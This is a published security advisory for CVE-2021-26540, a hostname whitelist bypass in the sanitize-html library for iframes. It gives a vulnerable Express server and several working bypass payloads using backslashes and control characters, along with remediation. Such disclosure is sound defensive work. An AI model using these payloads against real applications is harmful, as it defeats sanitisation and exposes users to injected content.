---
title: "CX-2021-4309"
date: "2021-02-28T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4309/"
---

# CX-2021-4309

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Jan 26, 2021

CVE-2021-26540  **Published:** Feb 28, 2021

5.3 Medium Severity javascript nodejs npm validation-bypass

RM Ron Masas  Reported by Checkmarx Zero

Details Overview

## Summary

Apostrophe Technologies sanitize-html before 2.3.2 does not properly  
validate the hostnames set by the `allowedIframeHostnames` option when  
the `allowIframeRelativeUrls` is set to true, which allows attackers  
to bypass hostname whitelist validation for iframe element.

## Product

sanitize-html before 2.3.2

## Impact

Depending on library usage and attacker intent, impacts may include allow/block list bypasses, open redirects, or other undesired behavior.

## Steps to reproduce

1. Install vulnerable version by running `npm i [email protected]`
2. Write the following to a `server.js` file

    ```js

    const express = require("express");
    const sanitizeHtml = require("sanitize-html");
    ```

const app = express();

app.get(“/”, (req, res) => {  
const clean = sanitizeHtml(req.query.dirty, {  
allowedTags: \[‘iframe’\],  
allowedAttributes: {  
iframe: \[‘src’\]  
},  
allowedIframeHostnames: \[“www.youtube.com”\],  
allowIframeRelativeUrls: true  
});  
res.end(clean);  
});

app.listen(8080);

````
3. Start the server and bypass the hostname validation by sending one of the following payloads to `http://localhost:8080/?dirty=[payload]`:
 ```text
    /\checkmarx.com
````

```text
    \/checkmarx.com
```

```js
    const linefeed = decodeURIComponent("%0A");
    const payload = '<iframe src="/'+linefeed+'\checkmarx.com"></iframe>';
```

```js
    const creturn = decodeURIComponent("%0D");
    const payload = '<iframe src="/'+creturn+'\checkmarx.com"></iframe>';
```

```js
    const tab = decodeURIComponent("%09");
    const payload = '<iframe src="/'+tab+'\checkmarx.com"></iframe>';
```

### Expected result:

The iframe should load checkmarx.com.

## Remediation

Update sanitize-html dependency to 2.3.2 or above.

## Credit

This issue was discovered and reported by Security Researcher [@ronmasas (Ron Masas)](https://twitter.com/ronmasas).

## Resources

1. [Pull Request](https://github.com/apostrophecms/sanitize-html/pull/460)
2. [54851d0](https://github.com/apostrophecms/sanitize-html/pull/460/commits/54851d0df96ba4016e203734e4432578017a5325)

0  Medium Severity CVSS v3.1 Score

   5.3

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low
- Availability Impact: None

Advisory Timeline1. Discovered Jan 24, 2021
2. Fixed Jan 26, 2021

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)